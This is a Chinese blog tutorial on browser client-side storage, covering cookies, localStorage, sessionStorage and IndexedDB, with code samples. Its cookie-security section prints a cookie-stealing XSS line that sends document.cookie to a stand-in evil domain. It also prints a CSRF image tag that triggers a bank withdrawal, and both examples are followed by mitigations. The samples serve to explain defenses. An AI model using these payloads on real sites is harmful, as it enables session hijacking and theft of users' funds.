一篇理清Web的用户端存储

用户端存储

为了减少HTTP请求和实现维持服务器和客户端的状态联系,就需要用户端存储数据。
有了这个,才能让静态网页迈向了动态网页和离线网页的变化。

cookies

HTTP Cookie(也叫Web Cookie或浏览器Cookie)是服务器发送到用户浏览器并保存在本地的一小块数据。
Cookie使基于无状态的HTTP协议记录稳定的状态信息成为了可能。
由于服务器指定Cookie后,浏览器的每次请求都会携带Cookie数据,会带来额外的性能开销(尤其是在移动环境下)。

  • 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
  • 个性化设置(如用户自定义设置、主题等)
  • 浏览器行为跟踪(如跟踪分析用户行为等)

创建cookie

服务器收到HTTP请求时,服务器可以在响应头里面添加一个Set-Cookie选项。浏览器收到响应后通常会保存下Cookie,之后对该服务器每一次请求中都通过Cookie请求头部将Cookie信息发送给服务器。
Set-Cookie: <cookie名>=<cookie值>
服务器端设置cookie

  • 在响应报文是这样显示的:
    HTTP/1.0 200 OK
    Content-type: text/html
    Set-Cookie: yummy_cookie=choco
    Set-Cookie: tasty_cookie=strawberry
    
  • 请求报文
    GET /sample_page.html HTTP/1.1
    Host: www.example.org
    Cookie: yummy_cookie=choco; tasty_cookie=strawberry
    

session cookie

会话期Cookie是最简单的Cookie:浏览器关闭之后它会被自动删除,也就是说它仅在会话期内有效。

持久的cookie

持久性Cookie可以指定一个特定的过期时间(Expires)或有效期(Max-Age)。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2019 07:28:00 GMT;

Secure 和HttpOnly 标记

标记为 ·Secure 的Cookie只应通过被HTTPS协议加密过的请求发送给服务端。
为避免跨域脚本 (XSS) 攻击,通过JavaScript的 Document.cookie API无法访问带有 ·HttpOnly标记的Cookie,它们只应该发送给服务端。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

作用域

DomainPath 标识定义了Cookie的作用域:即Cookie应该发送给哪些URL。

  • Domain 标识指定了哪些主机可以接受Cookie。如果不指定,默认为当前文档的主机(不包含子域名)。如果指定了Domain,则一般包含子域名。
  • Path 标识指定了主机下的哪些路径可以接受Cookie(该URL路径必须存在于请求URL中)。以字符 %x2F ("/") 作为路径分隔符,子路径也会被匹配。例如,设置·Path=/docs

DOM访问cookie

通过Document.cookie属性可创建新的Cookie,也可通过该属性访问非HttpOnly标记的Cookie

document.cookie = "yummy_cookie=choco"; 
document.cookie = "tasty_cookie=strawberry"; 
console.log(document.cookie); 

cookie的安全问题

  1. 会话劫持和XSS
    常用的窃取Cookie的方法有利用社会工程学攻击和利用应用程序漏洞进行XSS攻击。
    (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
    HttpOnly类型的Cookie由于阻止了JavaScript对其的访问性而能在一定程度上缓解此类攻击。
  2. 跨站请求伪造(CSRF)
    比如在不安全聊天室或论坛上的一张图片,它实际上是一个给你银行服务器发送提现的请求:
    <img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
    当你打开含有了这张图片的HTML页面时,如果你之前已经登录了你的银行帐号并且Cookie仍然有效(还没有其它验证步骤),你银行里的钱很可能会被自动转走。
    • 对用户输入进行过滤来阻止XSS;
    • 任何敏感操作都需要确认;
    • 用于敏感信息的Cookie只能拥有较短的生命周期;

Storage

兼容性:IE8+ chrome safari4+

localStorage

在浏览器关闭,然后重新打开后数据仍然存在。
通过Window.localStorage 属性来实现。

  • 权限:同一个DOM源的网页才能访问
  • 方法
    1. 增/改:·localStorage.setItem('myCat', 'Tom');
    2. 获取:let cat = localStorage.getItem('myCat');
    3. 删除:localStorage.removeItem('myCat');
    4. 清空:localStorage.clear();
  • 事件
    设置storage事件,可以监听本地缓存的变化。

sessionStorage

当页面关闭,sessionStorage就会清空。

  • 权限:允许你访问一个 session Storage 对象。
  • 方法
    1. 增/改:·sessionStorage.setItem('myCat', 'Tom');
    2. 获取:let cat = sessionStorage.getItem('myCat');
    3. 删除:sessionStorage.removeItem('myCat');
    4. 清空:sessionStorage.clear();

IndexedDB

兼容性:IE10+ chrome safari24+

解决大文件缓存,如同名字一样,索引存储。通过索引指向缓存文件,对于保存大文件和大数据来说是性能比较高的。

MDN的概念解释

IndexedDB是一个事务型数据库系统,类似于基于SQL的RDBMS。 然而,不像RDBMS使用固定列表,IndexedDB是一个基于JavaScript的面向对象的数据库。 IndexedDB允许您存储和检索用键索引的对象;可以存储结构化克隆算法支持的任何对象。 您只需要指定数据库模式,打开与数据库的连接,然后检索和更新一系列事务。

大概意思就是使用一种面向对象的思想来管理这些大文件的存储,提供使用这些缓存的性能。

接口

  1. 打开数据库
    var  db = null
     var DBOpenRequest = window.indexedDB.open("toDoList");
     DBOpenRequest.onsuccess = function(e) {
       db = DBOpenRequest.result;
     };
    
    这里打开成功的时候会有一个,参数DBRequest保存着回调信息。
    每一个请求都有一个·readyState属性,初始时为pending,当请求完成或失败的时候,readyState会变为done
    • 当状态保持为·done时,每一个请求都会返回resulterror属性,并且会触发一个事件.
    • 当状态保持为pending时,任何尝试访问result或error属性的行为会触发一个InvalidStateError异常。

所有的异步操作都会返回一个request对象。成功的时候会触发 success,失败触发error,异步的结果会保存到result属性。

request.onsuccess = function(event) {
        var db = this.result;// request.result
        var transaction = db.transaction([]);
// "readonly" is the default option; 
// when data will be added to the database use "readwrite".
        var curRequest = transaction.objectStore('ObjectStore Name').openCursor();
        curRequest.onsuccess = ...;
    };

可以通过this.result或者直接访问request.result;

  1. 创建索引集

    打开数据库成功的时候,result保存的就是访问对应数据库的·IDBDatabase接口。我们后续的操作都是通过它来进行。
    比如:
    1. 关闭数据库:this.result.close()
    2. 添加一个索引集:this.result.createObjectStore(name,option)
    option是可选配置,具体可以阅读MDN文档
    3. 删除索引集:this.result.deleteObjectStore(name);


  1. 往索引集添加数据
    数据的读取都是通过一个objectStore接口进行的。
    当我们创建索引集的时候会返回一个当前索引集的objectStore接口
    我们想要打开特定的索引集,可以使用request.result.transaction(['fThings'], 'readonly').objectStore('fThings');

这个接口有自己的属性和方法,但是我们这里直接介绍下常用的方法,其他可以阅读MDN文档
1. 创建索引:objectStore.createIndex("hours", "hours", { unique: false });前面2个是索引名字和键路径,第3个是配置。
2. 删除索引值:objectStore.delete("name");
3. 删除索引:objectStore.deleteIndex(indexName);
4. 增加值(插入):objectStore.add(value, key);key是唯一标识的值,默认为null,如果值已经存在则会触发error事件
5. 获取值:objectStore.get(key);
6. 修改值:objectStore.put(item, key);

使用例子:
// 创建一个数据库
var DBOpenRequest = window.indexedDB.open("toDoList", 4);
DBOpenRequest.onsuccess = function(event) {
  // 保存返回的DBResult
  db = DBOpenRequest.result;
};
// 当版本更新或者首次创建的时候触发
DBOpenRequest.onupgradeneeded = function(event) {
  var db = event.target.result;
  db.onerror = function(event) {
    note.innerHTML += '<li>Error loading database.</li>';
  }
  // 创建索引集,以taskTitle为数据的索引
  var objectStore = db.createObjectStore("toDoList", { keyPath: "taskTitle" });
  // 自定义索引
  objectStore.createIndex("hours", "hours", { unique: false });
  objectStore.createIndex("minutes", "minutes", { unique: false });
  objectStore.createIndex("day", "day", { unique: false });
  objectStore.createIndex("month", "month", { unique: false });
  objectStore.createIndex("year", "year", { unique: false });
  objectStore.createIndex("notified", "notified", { unique: false });
  note.innerHTML += '<li>Object store created.</li>';
};
// 需要保存的数据
var newItem = [
  { taskTitle: "Walk dog", hours: 19, minutes: 30, day: 24, month: 'December', year: 2013, notified: "no" }
];
// 打开索引集
var transaction = db.transaction(["toDoList"], "readwrite");
// 打开objectStore接口
var objectStore = transaction.objectStore("toDoList");
// 将值添加上去
var objectStoreRequest = objectStore.add(newItem[0]);  
// 设置回调 监听是否完成
objectStoreRequest.onsuccess = function(event) {
  note.innerHTML += '<li>Request successful .</li>';
} 
// 获取值
let store = db.transaction("toDoList").objectStore("toDoList");
let request = store.get(IDBKeyRange('year', 'month'));
request.onsuccess = (event) => {
	let data= event.target.result;
    alert("data get success" + data);
};
// 获取索引
 store.getKey(IDBKeyRange(30, 24));
 // 修改值
// 需要重新获取值
request = store.get('Walk dog');
request.onsuccess = (event) => {
	let data= event.target.result;
	data.year = 2019
	var  updateTitleRequest = objectStore.put(data);
	updateTitleRequest.onsuccess = function() {
     	alert("data put success" );
  	};
};

service worker

这个原理是劫持HTTP请求,可以将获取的信息保存到本地,来进行离线缓存的效果。这个在我上一篇文章已经介绍了,有兴趣的同学可以去阅读

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值